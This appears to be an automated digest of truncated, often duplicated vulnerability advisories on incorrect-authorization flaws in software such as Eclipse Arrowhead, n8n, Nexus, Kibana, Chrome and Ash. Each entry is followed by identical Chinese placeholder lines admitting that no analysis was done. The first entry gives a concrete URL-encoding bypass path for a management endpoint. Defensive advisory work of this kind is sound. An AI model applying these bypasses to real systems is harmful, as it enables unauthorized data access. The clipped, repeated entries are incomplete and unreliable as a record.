In Eclipse Arrowhead versions from 5.0.0 to 5.2.1 the management-authorization gate that protects every /…/mgmt/… REST endpoint decides whether to apply its check by calling request.getRequestURL().toString().contains("/mgmt/"). Tomcat returns getRequestURL() un-decoded, while Spring MVC's DispatcherServlet routes on the decoded path. Requesting /serviceregistry/%6Dgmt/systems (%6D == m) therefore
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 2.35.4 and 2.36.x before 2.36.2 does not validate credential references in the inline workflow JSON of nodes that execute an inline sub-workflow (e.g., the Workflow Tool node). A shared-workflow editor, or any user creating/updating a workflow via the REST API, Public API, or MCP, can persist a node referencing a credential they do not own. When the workflow is later executed under an i
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cheshire Cat AI's GET /memory/collections/{collection_id}/points endpoint fails to apply per-user filtering when retrieving episodic memory points. Authenticated attackers with MEMORY:READ permission can retrieve all users' stored conversation messages and personal data by paginating through the collection using the offset cursor.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dell PowerProtect Data Manager, versions 20.2.0.0 and below, contain an Incorrect Authorization vulnerability in the REST API. A low privileged remote attacker could potentially exploit this vulnerability, leading to Protection mechanism bypass.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 2.35.4 and 2.36.x before 2.36.2 does not validate credential references in the inline workflow JSON of nodes that execute an inline sub-workflow (e.g., the Workflow Tool node). A shared-workflow editor, or any user creating/updating a workflow via the REST API, Public API, or MCP, can persist a node referencing a credential they do not own. When the workflow is later executed under an i
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cheshire Cat AI's GET /memory/collections/{collection_id}/points endpoint fails to apply per-user filtering when retrieving episodic memory points. Authenticated attackers with MEMORY:READ permission can retrieve all users' stored conversation messages and personal data by paginating through the collection using the offset cursor.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The OpenChoreo API server (`openchoreo-api`) authorized requests to its exec and wirelogs endpoints against the project supplied by the caller in the request, rather than against the project that actually owns the target component. The target component was resolved by name only, and the authorization engine decided purely from the caller-supplied resource hierarchy — the component's r
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact When a filer JWT restricts a token to a set of path prefixes via `allowed_prefixes`, the authorization check used a literal byte-prefix match (`strings.HasPrefix`). A token scoped to `/tenant1` therefore also authorized requests to sibling paths such as `/tenant1234`, `/tenant1-old`, and `/tenant1backup`. In a multi-tenant deployment this lets the holder of one tenant's token access an
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was identified in Sonatype Nexus Repository 3 in which two blobstore group management REST API endpoints did not correctly enforce the intended authorization check. A user granted only the nexus:blobstores:create permission could invoke these endpoints to convert an existing blobstore into a group blobstore, an action that should require the nexus:blobstores:update permission inste
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization flaw in the REST API repository details endpoint (GET /service/rest/v1/repositories/{repositoryName}) in Sonatype Nexus Repository 3 allowed an account holding read or browse permission on a group repository to retrieve metadata for member repositories on which it held no direct permission, by requesting the endpoint directly for the member repository name. For proxy repositories,
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was identified in Sonatype Nexus Repository 3 in which two blobstore group management REST API endpoints did not correctly enforce the intended authorization check. A user granted only the nexus:blobstores:create permission could invoke these endpoints to convert an existing blobstore into a group blobstore, an action that should require the nexus:blobstores:update permission inste
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization flaw in the REST API repository details endpoint (GET /service/rest/v1/repositories/{repositoryName}) in Sonatype Nexus Repository 3 allowed an account holding read or browse permission on a group repository to retrieve metadata for member repositories on which it held no direct permission, by requesting the endpoint directly for the member repository name. For proxy repositories,
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Only self-managed Grafana instances with Auth Proxy authentication and identity caching enabled (sync_ttl greater than zero) are affected. The Auth Proxy cache key concatenated the username and forwarded identity attributes without a delimiter, so distinct identities could collide on one key. An authenticated user who shapes their own attributes to collide with a higher-privileged user's, while th
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in the Kibana machine learning feature can lead to unauthorized resource consumption via Exploiting Incorrectly Configured Access Control Security Levels (CAPEC-180). An authenticated user could invoke machine learning functionality beyond their authorization scope, consuming cluster resources they should not be able to reach.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Elastic Cloud on Kubernetes (ECK) can lead to unauthorized modification of data via Metadata Spoofing (CAPEC-690). An actor holding limited Kubernetes permissions confined to a single namespace could cause attacker-controlled certificate material to be included in the Elasticsearch client trust bundle managed by ECK in a separate namespace.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in the Kibana machine learning feature can lead to information disclosure via Exploiting Incorrectly Configured Access Control Security Levels (CAPEC-180). An authenticated user holding machine learning job management privileges within a single Kibana space could cause a job's saved object to become accessible across all spaces in the Kibana instance, without hold
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Fleet Server can lead to a denial of service of agent upload operations via Privilege Abuse (CAPEC-122). Fleet Server does not correctly verify session ownership during multi-part data upload operations, allowing any authenticated agent to interfere with the active upload sessions belonging to other enrolled agents.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Restrict User Access WordPress plugin before 2.8.1 does not normalise the REST API route before checking it against the routes its content protection covers, allowing unauthenticated users to bypass that protection and read restricted content and enumerate users.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The HIPAA FORMS WordPress plugin before 3.2.0 contains a hardcoded authentication bypass via a hardcoded parameter alongside all AJAX requests. The server explicitly checks for this value to skip nonce validation entirely. This allows unauthenticated attackers to access protected AJAX endpoints.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Wp Edit Password Protected WordPress plugin before 1.3.5 allows protecting page content, but this protection can be bypassed by using the REST API.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Passster WordPress plugin before 4.2.26 has a flaw in its global protection checks, allowing unauthenticated users to bypass the protection offered via crafted URLs
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Passster WordPress plugin before 4.2.24 does not handle input properly in an AJAX action, allowing unauthenticated users to retrieve the value of password protected content
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Blazy allows Forceful Browsing. This issue affects Blazy versions: from 0.0.0 to 3.0.18.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Entity API allows Forceful Browsing. This issue affects Entity API versions: from 0.0.0 to 1.8.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Diff allows Forceful Browsing. This issue affects Diff versions: from 0.0.0 to 2.0.1, from 2.1.0 to 2.1.1.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Quick Tabs allows Forceful Browsing. This issue affects Quick Tabs versions: from 0.0.0 to 4.3.1.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Commerce PayPal allows Forceful Browsing. This issue affects Commerce PayPal versions: from 0.0.0 to 1.12.0, from 2.0.0 to 2.1.3.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Commerce PayPal allows Forceful Browsing. This issue affects Commerce PayPal versions: from 0.0.0 to 1.12.0, from 2.0.0 to 2.1.3.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Diff allows Forceful Browsing. This issue affects Diff versions: from 0.0.0 to 2.0.1, from 2.1.0 to 2.1.1.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Quick Tabs allows Forceful Browsing. This issue affects Quick Tabs versions: from 0.0.0 to 4.3.1.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Blazy allows Forceful Browsing. This issue affects Blazy versions: from 0.0.0 to 3.0.18.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Kimai versions before 2.65.0 contain an authorization bypass vulnerability in the REST API timesheet collection endpoint that fails to enforce activity-team access controls. Users with view_other_timesheet permission can list timesheets using activities restricted to teams they do not belong to, bypassing intended data isolation.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Kimai versions before 2.65.0 contain an authorization bypass vulnerability in the REST API timesheet collection endpoint that fails to enforce activity-team access controls. Users with view_other_timesheet permission can list timesheets using activities restricted to teams they do not belong to, bypassing intended data isolation.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Autofill in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Navigation in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Actor in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in TabStrip in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in SiteSettings in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in FileSystem in Google Chrome prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.75 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Navigation in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in FileSystem in Google Chrome prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in TabStrip in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.75 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in SiteSettings in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Actor in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Autofill in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to unauthorized disclosure, modification, and deletion of data via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). Where two authenticated principals originating from different authentication realms share the same username value, one could read, modify, and delete the other's private Elastic AI Assistant Knowledge Base entrie
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vulnerabilities in the API of HPE Networking Fabric Composer could allow an authenticated low privilege operator user to access sensitive information. A successful exploit allows an attacker to access data beyond what is authorized by the user's existing privilege level, which could be used to potentially gain further access to network services supported by HPE Networking Fabric Composer.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Privilege escalation vulnerabilities exist in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated low privilege operator user to change the state of certain settings of a vulnerable system.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A privilege escalation vulnerability exists in the web-based management interface of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated low privilege operator user to complete state-changing actions that should not be allowed by their current level of authorization on the platform.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A business logic vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated low privilege operator user to obtain elevated privileges and modify settings beyond what is authorized by the user's existing privilege level on a vulnerable system.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Privilege escalation vulnerabilities exist in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated low privilege operator user to complete state-changing actions that should not be allowed by their current level of authorization on the platform, including changes to the configuration of systems managed by the affected product.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated low privilege operator user to escalate their permissions to those of an administrative user, leading to complete system compromise.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to unauthorized modification of data via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user holding only Security Solution read access in a Kibana space could enumerate and change the state of Entity Store maintainer tasks, silently disabling Entity Analytics maintenance for that space.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana Entity Analytics can lead to a loss of security monitoring via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user holding only read-level Security feature access, and no Elasticsearch privileges, could stop the recurring Privilege Monitoring engine task for a Kibana space. Privileged user monitoring then stops produ
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to privilege escalation via Exploiting Incorrectly Configured Access Control Security Levels (CAPEC-180). A user holding workflow edit permissions could cause scheduled workflow executions to run with the privileges of a different, higher-privileged user, allowing access to and modification of data beyond their own authorization scope.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
gRPC-Go is the Go language implementation of gRPC. Prior to 1.83.1, the xDS RBAC HTTP filter in internal/xds/httpfilter/rbac/rbac.go does not lowercase header matcher names in normalizeHeaderMatcher even though incoming metadata keys are lowercase. A DENY policy using a mixed-case name such as X-Role or User-Agent therefore does not match and fails open, allowing requests that should be rejected.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
gRPC-Go is the Go language implementation of gRPC. Prior to 1.83.1, the xDS RBAC HTTP filter in internal/xds/httpfilter/rbac/rbac.go does not lowercase header matcher names in normalizeHeaderMatcher even though incoming metadata keys are lowercase. A DENY policy using a mixed-case name such as X-Role or User-Agent therefore does not match and fails open, allowing requests that should be rejected.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dell PowerStore, an Incorrect Authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT before 8.7.0 gates the bulk asset restore endpoint on the assets.edit permission instead of assets.delete, allowing users without delete rights to restore soft-deleted assets. Attackers with edit permissions can post asset identifiers to the bulk restore endpoint to undo administrator deletions and bypass intended permission separation.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT before 8.7.0 gates the bulk asset restore endpoint on the assets.edit permission instead of assets.delete, allowing users without delete rights to restore soft-deleted assets. Attackers with edit permissions can post asset identifiers to the bulk restore endpoint to undo administrator deletions and bypass intended permission separation.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The mod_auth module in OTP's inets httpd server, when configured with dets or mnesia authentication backends and multiple directory configuration blocks, collapses all directory blocks into a single shared user/group namespace. A user added to one protected directory is accepted as valid for all other protected directories on the same server instance. This issue affects OTP from OTP 17.0 before O
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dell PowerStore contains an Incorrect Authorization vulnerability. An authenticated attacker with low privileges could potentially exploit this vulnerability to invoke administrator-only operations, leading to privilege escalation.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash returns records that a runtime read policy denies to any actor. When a resource has an access_type :runtime read policy (a check evaluated per record rather than compiled to a filter), Ash.Policy.Authorizer decides each record in check_result/1 (lib/ash/policy/authorizer/authorizer.ex) by discarding impossible policy scenarios and inspectin
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Master Addons for Elementor – Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder & Template Kits plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.1.9 via the upload_template_kit function. This is due to incorrect authorization on the upload_template_kit() AJAX handler, which requires only upload_files capability instea
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash widens a relationship's parent(...) scoping filter to match unintended records when the referenced parent field cannot be resolved. Loading a relationship whose filter references parent(...) resolves that expression against the parent record. resolve_parent_in_filter/3 (lib/ash/actions/read/relationships.ex) resolved an unresolvable parent
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash authorizes an aggregate under one read action while computing it under another, so an aggregate can run with policies that do not match the action it was authorized against. Ash.Actions.Aggregate groups aggregates by their {authorize?, read_action} and authorizes each group under that read action, but when building the data query it selecte
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash returns records that a runtime read policy denies to any actor. When a resource has an access_type :runtime read policy (a check evaluated per record rather than compiled to a filter), Ash.Policy.Authorizer decides each record in check_result/1 (lib/ash/policy/authorizer/authorizer.ex) by discarding impossible policy scenarios and inspectin
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash widens a relationship's parent(...) scoping filter to match unintended records when the referenced parent field cannot be resolved. Loading a relationship whose filter references parent(...) resolves that expression against the parent record. resolve_parent_in_filter/3 (lib/ash/actions/read/relationships.ex) resolved an unresolvable parent
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash authorizes an aggregate under one read action while computing it under another, so an aggregate can run with policies that do not match the action it was authorized against. Ash.Actions.Aggregate groups aggregates by their {authorize?, read_action} and authorizes each group under that read action, but when building the data query it selecte
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_typescript allows an unauthorized RPC caller to read attribute values that Ash field policies denied. When a field policy denies an attribute, Ash substitutes %Ash.ForbiddenField{}, which retains the real value in original_value because embedded resources must remain writable, and hides it from Inspect rather than removing it. AshTypescript
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_typescript allows an unauthorized RPC caller to read attribute values that Ash field policies denied. When a field policy denies an attribute, Ash substitutes %Ash.ForbiddenField{}, which retains the real value in original_value because embedded resources must remain writable, and hides it from Inspect rather than removing it. AshTypescript
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Sulu is an open-source PHP content management system based on the Symfony framework. Prior to versions 2.6.25 and 3.0.8, the media move endpoint derives its permission check from the client-supplied collection value instead of the media item's actual source collection, and src/Sulu/Bundle/MediaBundle/Media/Manager/MediaManager.php allows MediaManager::move() to reassign the item without checking t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Sulu is an open-source PHP content management system based on the Symfony framework. Prior to versions 2.6.25 and 3.0.8, the preview-link endpoint and src/Sulu/Bundle/PreviewBundle/Application/Manager/PreviewLinkManager.php do not enforce VIEW permission for the target resource in PreviewLinkManager::generate() or PreviewLinkManager::revoke(). An authenticated administration user who knows a targe
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.18 does not apply the API-key scope cap in the injectSecurityTab() function of BlueprintController when deciding whether a page's security/permissions blueprint section is editable. Because the function performs raw isSuperAdmin()/hasPermission() checks without a request parameter, it cannot enforce scopeAllows(). A caller holding a scoped A
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Kimai before 2.56.0 does not enforce team-membership checks in TimesheetVoter::voteOnAttribute(), which maps permissions only to own_timesheet or other_timesheet. As a result, any authenticated user with ROLE_TEAMLEAD (or a role holding edit_other_timesheet/delete_other_timesheet) can read, modify, and permanently delete timesheets belonging to any user system-wide via the API, regardless of team
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
EasyAdmin is a fast and modern admin generator for Symfony applications. From 4.0.0 until 4.29.16 and 5.5.1, EasyAdmin serves all backend requests through a single dashboard route and, for custom actions (Action::linkToRoute() and MenuItem::linkToRoute()), swaps the executed controller based on the routeName query parameter on the kernel.controller event. The swap happens after Symfony's security
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.9.1, endpoints/currency/update_exchange.php loads the first Fixer/API Layer credential globally instead of loading the credential for the authenticated user. As a result, a normal authenticated user without their own provider key can trigger exchange-rate refreshes using another user's stored provider credent
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Goploy is an open-source automation deployment system. In versions 1.17.5 and prior, Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.Ge
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Goploy is an open-source automation deployment system. In versions 1.17.5 and prior, Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.Ge
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MCPHub is a unified hub for centrally managing and dynamically orchestrating multiple MCP servers/APIs into separate endpoints with flexible routing strategies. Prior to version 1.0.31, when a bearer key with accessType: 'servers' (or 'custom') is used against a group route, isBearerKeyAllowedForRequest grants access to the entire group as long as any single server in that group appears in the key
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MCPHub is a unified hub for centrally managing and dynamically orchestrating multiple MCP servers/APIs into separate endpoints with flexible routing strategies. Prior to version 1.0.31, when a bearer key with accessType: 'servers' (or 'custom') is used against a group route, isBearerKeyAllowedForRequest grants access to the entire group as long as any single server in that group appears in the key
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
DataEase before 2.10.26 contains multiple access control defects in the sharing link module. Tickets are not bound to the target share UUID, so a valid ticket issued for one share can be reused against another (ShareTicketManage.validateTicket / POST /de2api/share/proxyInfo). The POST /de2api/share/validate endpoint issues a LinkToken after password verification without requiring a ticket, bypassi
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
DataEase before 2.10.26 contains multiple access control defects in the sharing link module. Tickets are not bound to the target share UUID, so a valid ticket issued for one share can be reused against another (ShareTicketManage.validateTicket / POST /de2api/share/proxyInfo). The POST /de2api/share/validate endpoint issues a LinkToken after password verification without requiring a ticket, bypassi
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ToolJet before v3.16.208 contains an authorization bypass vulnerability in TooljetDB controller endpoints that accept organizationId from URL path without verifying it matches the authenticated user's workspace. Authenticated users can enumerate, create, rename, and delete TooljetDB tables in any other workspace by manipulating the organizationId parameter in requests.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GROWI contains an incorrect authorization vulnerability. If this vulnerability is exploited, an unauthenticated attacker could retrieve the other user's bookmark data.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_phoenix invokes the SubdomainHook authorization callback with a nil tenant, so tenant-scoped access checks never see the tenant they are meant to enforce. AshPhoenix.LiveView.SubdomainHook.on_mount/4 attached a handle_params hook to assign the tenant and then immediately called handle_subdomain in the same on_mount. The tenant assign is onl
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_phoenix invokes the SubdomainHook authorization callback with a nil tenant, so tenant-scoped access checks never see the tenant they are meant to enforce. AshPhoenix.LiveView.SubdomainHook.on_mount/4 attached a handle_params hook to assign the tenant and then immediately called handle_subdomain in the same on_mount. The tenant assign is onl
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
